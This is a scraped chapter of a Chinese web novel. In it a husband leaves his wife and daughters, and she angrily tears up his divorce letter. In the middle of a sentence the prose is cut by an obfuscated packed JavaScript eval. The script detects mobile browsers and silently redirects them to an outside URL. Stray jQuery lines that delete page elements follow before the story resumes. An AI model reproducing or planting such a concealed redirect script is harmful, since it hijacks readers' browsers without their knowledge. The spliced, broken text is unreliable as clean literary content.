36. 第 36 章

作品:《被迫成婚后(女尊)

    昨夜哭得太厉害,早上起来,眼睛都是肿的。


    林卿拥着被子,坐在床上发愣。


    扶雨挑帘进来,手里握着一个鸡蛋,看着林卿的脸色小心问道:“公子,发生什么事了,大人走前还特意嘱咐我煮个鸡蛋给你滚滚。”


    “大人也真是的,怎么能在这时候惹公子生气呢?”


    林卿声音微哑:“她走了多久了?”


    扶雨说:“半个时辰了。”


    “公子饿了吗,厨房今日炖了——”


    “别管这些了。”林卿垂下眼眸,轻轻摇了摇头,神情难过,似乎终于下定决心,“扶雨,你去找阿姐吧,让她来接我。”


    扶雨一惊,这几日看自家公子三趟两趟地搬东西,最担心的事情终于还是要发生了。


    “公子想好了?”


    林卿轻声说:“去吧。”


    扶雨应了一声,事不宜迟匆忙行动。


    家中所剩之物不多了,唯一让林卿放心不下的就是两个孩子。


    按律,妻夫和离后子嗣当尽归女方,林家没落,林卿亦没有能力将她们带走,跟着陆简之是最好的选择。


    万般悔恨难周全,这大概就是他当年任性的报应。


    陆桢和陆绥都睡得正香,林卿最后亲了亲她们的脸蛋,心中倍感酸楚。


    他没办法陪自己的孩子长大了。


    林泽得知消息来得很快,姐弟俩自有默契,话不多说,林卿吸了吸鼻子,仰头笑道:“阿姐,走吧。”


    *


    陆简之一整个上午都坐立不安。


    公文看不进去,案子不想审,下属汇报事情心不在焉,茶水续了五次,她揉着额角蹦跳的青筋,心道自己这是怎么了?


    她想到家里的夫郎,把这归结于是昨夜惹哭夫郎还未哄好的缘故,恨不得现在立刻罢职回家哄人。


    她一向沉静有素,这般急躁耐不住性子的模样少有,连当值的一班衙役都看出来了,个个大气不敢出生怕触了上司的霉头。


    就连杨涣进来,禀报杨家近来的异动时,也差点失了神。


    林卿到底怎么了?


    话变少了,家中衣物莫名不见,亲一下,都能把他亲哭了。


    她还当是力道太重,把他亲疼了,可也不至于吧……


    在讨夫郎欢心的学问上,陆简之还是任重道远。


    她压下心中的那点说不清道不明的慌乱,有条不紊地把事情处理好,到午时回家吃饭,她出了县衙越走越快,归心似箭。


    上次搬过家后,比起县衙后面那处院落,林卿与桢桢阿绥都更喜欢新宅子,便把那宅子买了下来,做长居之所。


    回家要经过两条街。


    陆简之走走停停,一路走,一路想该买下什么东西回去哄哄夫郎讨人欢心。


    林卿不喜酸,甜辣都能吃一些,陆简之买了两盒子点心,红豆馅多些,店老板认识这位没什么架子的地方官,一边给她装点一边笑道:“大人,又买点心回去哄夫郎啊。”


    陆简之笑笑,说是。


    “那点心可不够,吃的穿的都不够,这哄人可是门学问,最要紧的是对症下药,话要说到点上。”店老板笑着说。


    陆简之没学过这门学问,但她是个好学的学生,谦虚道:“请赐教。”


    “大人言重,赐教可不敢当。”那老板想起自己成婚四十载,与夫郎吵吵闹闹过下来的日子,颇为感叹,“这妻夫俩过日子呀,吵架不要紧,哪有不吵架的呢,感情都是吵出来的,越吵,感情越好……”


    陆简之想她和林卿从没吵过架,林卿活泼,一直都是他单方面吵闹,要这要那,陆简之心情好时偶尔顺了他的意,心情不好,一个冷眼过去,林卿便不敢说话。


    然而从前的多数时候,陆简之面对他,总是不高兴的。


    林卿十分请求,她能应一分就是不错。


    做为妻主,陆简之对夫郎要求太高了,冷若冰霜难以企及,把他那点小脾气都磨没了,不敢再提任何要求。


    长此以往,很难不失望。


    陆简之已经在改,尽量变得温柔。


    来得及,应该还来得及。


    陆简之安慰自己。


    “吵架不要紧,吵完了要哄,我们做女人的,该低头时要低头,想想症结在何处,夫郎为什么生气,说点好话,再买点吃的穿的哄哄,一味的送东西,那可不叫哄人,叫敷衍,吵十次架也不抵用。”


    陆简之表示受教。


    “再有。”店主说到兴处,给陆简之多拿了两盒点心一起打包,“这是有情意的法子,若是无论如何也生不出情意,相敬如宾也好,好聚好散也好,可就全凭良心了。”


    店主瞅着这位年轻县令提起妻夫相处之道一副拘谨的样子,笑了:“大人,您与令夫郎,感情一向可好?”


    “当然。”陆简之掂了掂重量,付了两倍的钱,面无表情地说,“我们感情很好。”


    “哎呦,那就好,那就好。”


    店主笑眯眯道:“那令夫郎喜欢你吗?”


    陆简之盯着店主的眼睛,仿佛自己的婚姻被质疑心生不悦:“他当年哭着喊着要嫁我的。”


    “哎呦呦。”店主乐了,“那他现在还喜欢你吗?”


    陆简之蹙眉。


    接着又想,必须喜欢,不然他还想喜欢谁。


    陆简之提着东西要走,店主在后头扬声追问:“大人呀,那你喜欢自己的夫郎吗?”


    陆简之脚步顿住,神情微怔,转身道:“这是什么意思?”


    老店主见她要开窍了,撑着手肘,慢悠悠道:“我的大人啊,你家夫郎,可知道你喜欢他吗?”


    “既然喜欢,一定要说出来哦。”


    “千万别让人苦等。”


    “……”


    这店主一把年纪,头发都斑白了,还跟个老顽童似的。


    陆简之拎着沉重的点心,略显慌乱地出了店门,七走八走,又扎进另一家店,最后抱了满怀的礼物回了家。


    迎接她的是陆桢和陆绥犹如死了亲娘一般的惊天大哭。


    满院子的仆从围在旁边,使劲浑身解数哄也无济于事。


    陆绥坐在地上哭得打嗝,陆桢尚存几分清明,脸上挂着两行泪,眼睛肿得核桃一样,张开双手扑向陆简之哇哇大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213705|191467||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哭。


    陆简之抱住两个孩子:“怎么了这是?谁欺负你们了,哭成这样?”


    陆桢抽抽搭搭地说:“爹爹,爹爹……”


    “爹爹怎么了?”


    “爹爹……”陆桢哇的一声,“爹爹不见了呜呜呜……”


    陆简之愣了愣,目光掠过旁边的下人,林卿有多疼孩子她是知道的,不可能看到她们哭成这样还不管,现在不仅林卿不在,就连扶雨也不见身影。


    陆简之站起来,朝她和林卿歇息的主屋走去,屋内陈设一空,梳妆台上林卿的发带,玉簪,以及他惯用的一些小玩意都不见了,陆简之扶着额角,站在原地微微晃动了两下身形,伸手打开了衣柜。


    果然,衣柜也是空的,那日仅剩的几件衣裳也都不见了,只有陆简之的衣物孤零零地摆在一侧。


    陆简之犹如兜头被人浇了一盆冷水,想起近日种种,心情突然出奇地平静。


    林卿身子不便,不管去哪儿,一个人肯定是走不了的。


    他在云川并无亲眷,所能依靠者,除了俩好友,便只有才在此地安顿下来父亲与姐姐。


    陆简之随之又想起那日林泽与岳丈执意要搬出去住,而林卿言语遮掩,方觉一切都是早有预谋。


    小骗子。


    胆子肥了,离家出走这种事都做得出。


    陆简之闭上眼睛,深深吸了一口气,紧接着一拳砸在衣柜上,半扇柜门不堪重击,轰然落地。


    外间伺候的管事闻声进来,陆简之收回手,脸上没什么表情:“他几时走的?”


    管事答:“约莫巳时三刻。”


    “一个人走的?”


    “是,是林家女郎过来接的。”


    陆简之听罢一刻也等不及,纵马往林家住的那条巷子跑去。


    青天白日,林家大门禁闭,陆简之敲了半天的门,林泽才拨开门栓挡在里侧,不让她进去。


    陆简之向内看了一眼:“林卿呢?”


    林泽似乎早知她会寻上门来,递出一纸书信:“这是他让我转交给你的。”


    陆简之盯着那上面三个大字看了半晌,气得指尖发颤。


    和离书。


    究竟是发生什么,竟到了要和离的地步。


    林泽道:“陆大人,姻缘不可强人所难——”


    陆简之冷笑:“当年你们逼婚的时候,不说强人所难,现在说不要就不要,当我陆简之是什么人?”


    林泽默了默,看着她的眼睛:“是,所以我家阿弟这些年,过得并不好,他后悔了。”


    陆简之怔了一下。


    林泽继续道:“世间姻缘,总是于儿郎来说更吃亏一些,简之,你就当,就当看在他为你诞下两个孩子的分上,放他走吧。”


    “我家当年铸下的过错,由我来承担,以后但有差遣,林泽宁死不辞。”


    陆简之捏着这封和离书,冷静些许。


    她当着林泽的面,把和离书撕得粉碎,不知里面的人听不听得到。


    “当年嫁我,是他的主意,而今离不离,由我说了算。”


    “你告诉他,想和离,亲自来和我说。”